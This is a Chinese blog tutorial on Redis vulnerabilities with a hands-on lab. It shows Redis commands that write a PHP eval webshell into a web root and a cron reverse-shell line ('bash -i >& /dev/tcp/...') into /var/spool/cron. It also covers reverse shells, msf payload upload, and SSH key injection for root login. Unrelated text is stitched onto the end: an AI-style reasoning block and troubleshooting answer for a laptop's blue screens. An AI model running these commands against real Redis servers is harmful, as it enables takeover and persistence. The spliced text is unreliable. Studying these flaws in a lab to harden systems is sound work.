一文终结Redis漏洞危机,不服来战

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


中间件漏洞原理

Redis 作为一款广泛使用的开源内存数据结构存储系统,在不同版本和配置下可能存在多种安全漏洞,以下为你详细介绍常见的 Redis 漏洞及其影响、利用方式和防范措施。

1. 未授权访问漏洞

  • 漏洞原理:Redis 默认情况下没有开启身份验证机制,若监听在公网 IP 地址或开放了不必要的网络访问权限,外部攻击者无需用户名和密码就能直接连接到 Redis 服务器,从而可执行各种命令来操作服务器上的数据。
  • 影响:攻击者可以读取、修改、删除服务器上的数据,甚至可以利用 Redis 的功能进行进一步攻击,如写入恶意文件、篡改配置等,严重威胁系统安全。
  • 利用方式:攻击者使用 Redis 客户端工具(如redis-cli),通过指定服务器的 IP 地址和端口,即可直接连接到 Redis 服务器进行操作。例如:
  • 防范措施
    • 为 Redis 设置访问密码,在redis.conf配置文件中添加或修改requirepass参数,例如requirepass your_strong_password,然后重启 Redis 服务使配置生效。
    • 限制 Redis 服务的监听地址,只监听本地回环地址127.0.0.1,避免监听公网 IP,修改bind参数为bind 127.0.0.1

2. 远程代码执行漏洞

  • 漏洞原理:当 Redis 以高权限(如 root 用户)运行,且攻击者能控制 Redis 的写入操作时,可利用CONFIG SETSAVE等命令将恶意的 SSH 公钥写入目标服务器的authorized_keys文件,从而通过 SSH 远程登录服务器;或者利用SLAVEOF命令结合特定的利用脚本,实现远程代码执行。
  • 影响:攻击者可完全控制目标服务器,执行任意系统命令,如安装后门程序、窃取敏感信息、进行进一步的网络攻击等。
  • 利用SLAVEOF命令:结合特定的 Redis 模块利用脚本,构造恶意请求发送给 Redis 服务器,触发远程代码执行。
  • 防范措施
    • 避免以高权限用户(如 root)运行 Redis 服务,使用专门的低权限用户运行。
    • 对 Redis 的写入操作进行严格的权限控制和输入验证,防止恶意数据的写入。
    • 及时更新 Redis 到最新版本,修复已知的漏洞。

3. 拒绝服务(DoS)攻击漏洞

  • 漏洞原理:攻击者通过发送大量的请求到 Redis 服务器,耗尽服务器的系统资源(如 CPU、内存、网络带宽等),使服务器无法正常响应合法用户的请求,从而导致服务不可用。
  • 影响:Redis 服务无法正常提供服务,影响依赖该服务的应用程序的正常运行,造成业务中断。
  • 利用方式:攻击者使用脚本或工具向 Redis 服务器发送大量的复杂命令或无效命令,例如:
  • 防范措施
    • 配置防火墙规则,限制对 Redis 服务的访问速率和请求数量,防止恶意的大量请求。
    • 优化 Redis 服务器的配置和硬件资源,提高服务器的抗攻击能力。
    • 采用负载均衡和分布式架构,分散请求压力。

4. 信息泄露漏洞

  • 漏洞原理:如果 Redis 服务器配置不当,将敏感信息以明文形式存储,且存在未授权访问漏洞,攻击者可直接获取这些敏感信息;另外,一些 Redis 版本的漏洞可能导致服务器的内部信息(如版本号、配置信息等)泄露,攻击者可据此选择合适的攻击方法。
  • 影响:敏感信息(如用户密码、业务数据等)泄露可能导致用户隐私被侵犯、业务数据被篡改或滥用;服务器内部信息泄露可能帮助攻击者更好地了解服务器环境,制定更有效的攻击策略。
  • 利用方式:攻击者通过未授权访问漏洞连接到 Redis 服务器,使用INFO等命令获取服务器的信息,或者直接读取存储敏感信息的键值对。
  • 防范措施
    • 对存储在 Redis 中的敏感信息进行加密处理,避免明文存储。
    • 严格控制对 Redis 服务的访问权限,防止未授权访问。
    • 及时更新 Redis 版本,修复可能导致信息泄露的漏洞。

       


一:Redis安装教程

1.下载

 地址:https://download.redis.io/releases/redis-6.0.9.tar.gz

将安装包放置于迅雷中下载更快,然后将下载好的安装包复制粘贴于linu虚拟机中(需准备两个centos7虚拟机并且这俩个虚拟机中都装redis,一个为肉机一个为攻击机。为后续实验做准备。)

2.放置安装包

放置于/usr/local/soft下然后解压安装包

3.安装gcc依赖

由于安装的redis版本大于6.0且cenos7自带gcc版本为4.8.5所以需要重新装一个版本为4.9的gcc

查看gcc版本号:gcc -v

安装升级gcc命令:

yum -y install centos-release-scl

yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++

devtoolset-9-binutils

scl enable devtoolset-9 bash

echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile

最后查看是否升级成功 

gcc -v

4.编译安装

cd redis-6.0.9/src

make instal

安装成功后在/usr/local/soft/redis-6.0.9/src目录下有服务端和客户端脚本

redis-server

redis-cli (客户端脚本)

redis-sentinel

如下图所示!!!

5.修改配置文件

/usr/local/soft/redis-6.0.9/redis.conf

daemonize no

改成

daemonize yes

下面一行必须改成 bind 0.0.0.0 或注释,否则只能在本机 访问

#bind 127.0.0.1

如果需要密码访问,取消 requirepass 的注释,在外网(比如阿里云)这个必须要配置!

requirepass yourpassword

6.配置别名(以下在肉机配置)

打开以下文件

vim ~/.bashrc

添加两行

alias redis='/usr/local/soft/redis-6.0.9/src/redis-server

/usr/local/soft/redis-6.0.9/redis.conf'

alias rcli='/usr/local/soft/redis-6.0.9/src/redis-cli'

7.编译生效

source ~/.bashrc

这样就可以启动redis服务了

可以看到redis服务已经启动

8.攻击机配置别名

alias conn='redis-cli -h 192.168.*.* -p 6379 '

alias rm='rm -i'

alias cp='cp -i'

alias mv='mv -i'

alias redis='/usr/local/soft/redis-6.0.9/src/redis-server

/usr/local/soft/redis-6.0.9/redis.conf'

alias rcli='/usr/local/soft/redis-6.0.9/src/redis-cli'

使用coon就可以连接肉机了

已经连接成功

 9.在攻击机检查以下配置

1、关闭保护模式 protected-mode(/usr/local/soft/redis-6.0.9/redis.conf)

2、取消IP绑定 bind(/usr/local/soft/redis-6.0.9/redis.conf)

3、开放6379端口,或者关闭防火墙(临时关闭防火墙:systemctl stop firewalld。临时开启7777端口:firewall-cmd --zone=public --add-port=7777/tcp)

4、不需要密码(默认) requirepass(/usr/local/soft/redis-6.0.9/redis.conf)

(*靶机的Redis服务端是root用户安装的)

如果配置不成功就会出现上述情况

!!!到这两台虚拟机都已配置完成。!!!!


案例一:redis+一句话木马提权

1.启动redis服务

Coon(在攻击机启动连接肉机的redis服务)

2.修改保存路径

config set dir /www/admin/localhost_80/wwwroot   (redis动态修改配置,修改保存路径为如上www.....)

连接成功后修改保存路径

如出现上述情况,原因为肉机没有这个目录,需要再肉机上创建这个目录或存于其他目录

肉机创建成功

成功修改路径

3.修改文件名

config set dbfilename redis.php (动态修改配置,将文件名修改为redis.php)

set x "<?php @eval($_POST[aqlw]); ?>" (写入一句话木马)

4.Save(写入磁盘持久化)

成功在肉机上写入一句话木马

5.蚁剑连接成功


案例二:反弹连接如何实现

一:常见反弹连接方式(一)

1.控制机监听一个端口

常见监听端口方式

                                                  (控制机执行的命令)

2.靶机连接控制机

                                                        (靶机执行的命令)

                   !如果在执行过程中无论如何连接不上可能是由于防火墙未关闭导致!

1.反弹连接(bash方法)

1.1在肉机上建立反弹连接

1.2控制机监听端口

在控制机上监听端口

肉机成功反弹连接攻击机

2.反弹连接(socat方法)

2.1监听端口(kali)

利用socat在Kali上监听端口7777

2.2在肉机上建立反弹连接

攻击机成功连接肉机

3.反弹连接(python方法)

3.1在肉机建立反弹连接

使用python代码连接

3.2攻击机监听端口7777

成功连接

4.反弹连接(netcat)

4.1肉机建立反弹连接

4.2攻击机监听端口

连接成功


二:常见反弹连接方式(二)

需要保证肉机为php或其他环境(如果实验当中无环境可以先下载,这里以php为例)

1.下载PHP环境

1. 1启用 EPEL 和 Remi 仓库

Remi 仓库提供了丰富的 PHP 版本供你选择,而 EPEL 仓库则包含了许多额外的依赖包。执行以下命令启用这两个仓库:

sudo yum install epel-release -y

sudo yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm

1.2选择并安装 PHP 版本

你可以根据自己的需求选择不同的 PHP 版本进行安装,这里以安装 PHP 7.4 为例:

# 启用 PHP 7.4 的 Remi 仓库sudo yum-config-manager --enable remi-php74# 安装 PHP

sudo yum install php -y

1.3验证 PHP 安装

安装完成后,再次执行 php -v 命令来验证 PHP 是否成功安装:

php -v

以上提示则为安装成功

2.利用PHP建立反弹连接

由于肉机无法安装php环境所以我将肉机和攻击机调换在攻击机上安装php环境使用肉机连接控制靶机。原理相同

2.1在肉机(PHP环境)输入PHP反弹连接命令

2.2在攻击机监听端口7777

连接成功

(在测试当中如果关闭防火墙依然无法连接可以打开攻击机靶机firewalld 服务)

添加7777端口规则

  1. 启动 firewalld 服务
    在终端中输入以下命令来启动 firewalld 服务:sudo systemctl start firewalld
  1. 再次尝试添加端口规则
    在启动 firewalld 服务后,再次执行添加端口的命令:sudo firewall-cmd --add-port=7777/tcp

三:常见反弹连接方式(三)

1.生成payload命令

以下为生成msf  payload 命令

                                                      (配合msf监听模块使用)

2.在php环境下结合msf监听模块

2.1启动msf

首先在kali机中使用msf模块监听端口7777,利用msf-PHP生成payload放置于肉机

 

启动成功

                                                     (参考监听模块msf命令)

2.2在kali利用msf监听7777

Kali机成功监听7777模块

2.3生成payload

利用xshell在打开一个kali虚拟机用于payload生成

2.4上传payload到肉机

scp ./shell.php root@192.168.58.135:/var/www/html

(以上命令为我偷懒直接利用命令加肉机root密码上传,但是正确做法是利用kali生成payload后放于自己已经成功连接对方肉机的攻击机中,利用redis漏洞任意写入文件,具体操作见上文写入一句话木马)

2.5连接成功

生成并成功将pyload上传到目标肉机

总结:首先需要再kali虚拟机中使用msf模块监听端口然后再利用kali虚拟机生成相应环境的payload,然后将payload上传到需要建立反弹连接的肉机(其中需要肉机触发shell.php文件才可以运行,所以我直接在肉机中运行php /var/www/html/shell.php,然后连接成功。需要强调的是本文中除需php环境的案例都使用135为攻击机131为肉机,但php环境我只安装在了135虚拟机上所以后续以php环境为基础的我都以135做为肉机131作为攻击机)


案例三:Redis写入反弹连接任务

cron定时任务如下

1.首先在攻击机上监听一个端口7777

2.然后利用redis漏洞利用任意写入反弹连接任务文件到/var/spool/cron

3.然后修改名字,执行持久化操作

4.写入成功

5.连接成功

set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"

config set dir /var/spool/cron/

config set dbfilenameQroot Language

Save


案例四:SSH key免密登录

流程SSHkey免密登录

1.客户端生成密钥对(公钥、私钥)

ssh-keygen

利用如上命令在攻击机生成秘钥对

2.客户端把公钥发给服务端保存

正常情况需要密码,这里我们利用redis任意写入文件漏洞

使用攻击机利用redis连接肉机将公钥写入肉机,具体操作如一句话木马

set xxx "\n\n\-----\n\n\n"  中间添加公钥

3.成功写入

4.建立连接

ssh -i ./id_rsa root@192.168.58.131

5.连接成功

免密连接成功,然后就可以下载恶意脚本挖矿等


总结

在上述实验中如果遇到问题请自行使用AI解决,如果想深入学习redis还需要练习。Redis 常见漏洞包括未授权访问,可致攻击者随意操作数据;远程代码执行漏洞,攻击者借此完全控制服务器;拒绝服务攻击漏洞,通过耗尽资源使服务瘫痪;信息泄露漏洞,会暴露敏感及内部信息。这些漏洞源于配置不当或版本缺陷,危害极大。(如上文内容有问题还需与博主联系)

(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

 

 

<think>好的,我现在需要帮助用户解决ROG玩家国度冰锐2笔记本在低负载时偶尔蓝屏的问题。首先,我得仔细看看用户提供的配置和问题描述。配置方面,笔记本用的是锐龙R9-4900HS处理器,16GB DDR4双通道内存,512GB PCIe固态硬盘,RTX2060显卡,还有240Hz的15.5寸电竞屏。问题出现在低负载情况下,比如浏览网页时偶尔蓝屏,但高负载如游戏或烤机时没问题。 首先,我应该考虑可能导致低负载蓝屏的原因。低负载和高负载下的系统行为不同,可能涉及电源管理、驱动兼容性、硬件稳定性或者系统设置等方面。 第一步,可能的原因之一是电源管理设置。Windows系统在低负载时会降低电压或频率以节省能耗,但有时候这可能导致不稳定,尤其是如果BIOS或电源管理驱动有问题的话。用户可能需要在电源选项中调整设置,或者更新BIOS和芯片组驱动。 其次,内存问题也是一个常见因素。尽管双通道内存通常更稳定,但低负载时可能触发某些不常见的内存错误。用户可能需要运行内存诊断工具,比如Windows自带的内存检测工具,或者使用MemTest86进行更彻底的测试。另外,检查内存条是否插紧,或者尝试单条内存测试,排除兼容性问题。 第三,显卡驱动的问题。虽然用户在高负载下使用显卡没问题,但低负载时驱动可能有bug导致蓝屏。建议更新或回滚显卡驱动,特别是使用华硕官网或NVIDIA官方提供的最新驱动,确保兼容性。此外,检查是否启用了混合图形切换功能,可能在低负载时切换显卡模式时出现问题,可以尝试禁用该功能。 接下来,系统文件和软件冲突也需要考虑。使用系统文件检查器(sfc /scannow)和DISM工具修复系统文件。同时,检查最近安装的软件或更新,是否有冲突,特别是那些在后台运行的程序,可能在低负载时引发问题。 另外,硬盘健康状态也不能忽视。虽然用户用的是PCIe固态,但使用CrystalDiskInfo等工具检查硬盘的SMART状态,确认没有坏道或固件问题。同时,确保固态硬盘的固件是最新的,避免兼容性问题。 还有,温度管理方面。虽然低负载时温度应该不高,但散热系统的异常,比如风扇停转或散热不良,可能在低负载时导致某些部件温度波动异常,触发保护机制。检查散热系统是否正常工作,清理灰尘,确保通风良好。 最后,系统日志分析。查看Windows事件查看器中的系统日志,找到蓝屏时的错误代码和相关信息,比如DRIVER_POWER_STATE_FAILURE或其他特定代码,这能帮助更准确地定位问题根源。 可能的解决步骤包括:更新BIOS和所有驱动,尤其是芯片组和显卡驱动;调整电源管理设置为高性能模式;运行内存和硬盘检测;检查系统文件和软件冲突;分析系统日志获取具体错误信息。如果以上步骤无效,可能需要联系华硕售后进行硬件检测,特别是主板或电源模块的问题。</think>根据您描述的ROG冰锐2笔记本配置及问题表现(低负载蓝屏,高负载正常),以下是逐步排查与解决方案: --- ### **一、核心原因推测** 低负载蓝屏+高负载稳定的矛盾现象,通常与以下因素相关: 1. **电源管理策略冲突**(CPU/显卡节能模式不稳定) 2. **内存兼容性/时序问题**(低负载时内存频率降低引发错误) 3. **混合显卡切换逻辑缺陷**(核显与独显切换异常) 4. **系统驱动/固件版本过旧**(尤其是AMD芯片组与NVIDIA显卡驱动) --- ### **二、具体解决步骤** #### **第一步:更新BIOS与驱动程序** - **BIOS更新**: 1. 访问[华硕官网支持页面](https://www.asus.com.cn/support/),搜索“冰锐2”型号,下载最新BIOS文件。 2. 按官方教程更新BIOS(通常需进入BIOS界面通过EZ Flash工具操作)。 - **驱动更新**: 1. **AMD芯片组驱动**:安装官网提供的“Ryzen 9 4900HS”专用驱动。 2. **NVIDIA显卡驱动**:通过GeForce Experience或官网下载**Studio版本驱动**(稳定性优于Game Ready驱动)。 3. **核显驱动**:确保AMD Radeon Graphics驱动为最新版。 #### **第二步:调整电源管理设置** 1. 打开Windows **控制面板 > 电源选项**,选择“高性能”模式。 2. 进入“更改计划设置 > 更改高级电源设置”: - **PCI Express > 链接状态电源管理**:设置为“关闭”。 - **处理器电源管理 > 最小处理器状态**:调整为**50%以上**(避免低频电压不稳)。 #### **第三步:内存稳定性测试** 1. 运行 **Windows内存诊断工具**: - 搜索“Windows内存诊断”,选择“立即重新启动并检查问题”。 2. 使用 **MemTest86** 深度测试: - 制作U盘启动盘,运行4小时以上测试,观察是否有报错。 3. 若发现错误: - 尝试拔插内存条,清洁金手指。 - 在BIOS中手动设置内存频率至**2133MHz**(降低频率测试稳定性)。 #### **第四步:禁用混合显卡切换** 1. 进入NVIDIA控制面板,选择“管理3D设置 > 首选图形处理器”为**高性能NVIDIA处理器**。 2. 在BIOS中查找“Hybrid Graphics”或“Optimus”选项,将其关闭(部分机型可能无此选项)。 #### **第五步:系统文件与软件排查** 1. 以管理员身份运行CMD,输入: ```bash sfc /scannow DISM /Online /Cleanup-Image /RestoreHealth ``` 2. 检查最近安装的软件(尤其是杀毒软件、系统优化工具),尝试卸载后观察是否蓝屏。 #### **第六步:分析蓝屏日志** 1. 打开 **事件查看器**(Event Viewer),定位蓝屏时间点的**关键错误日志**(事件ID 41、1001等)。 2. 记录蓝屏错误代码(如`DRIVER_POWER_STATE_FAILURE`、`SYSTEM_THREAD_EXCEPTION`等),针对性搜索解决方案。 --- ### **三、进阶排查(若问题未解决)** - **SSD固件更新**:通过华硕官网或硬盘厂商工具(如WD/Samsung Magician)更新固态硬盘固件。 - **禁用C-State节能**:在BIOS中找到“CPU C-State”选项,设置为“Disabled”(可能增加功耗但提升稳定性)。 - **联系售后**:若上述步骤无效,可能是主板供电模块故障,建议联系华硕服务中心检测。 --- ### **总结建议** 优先执行**BIOS更新+驱动更新+电源管理调整**组合方案,多数类似问题可通过此解决。若问题依旧,再逐步深入排查内存与硬件故障。
评论 24
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值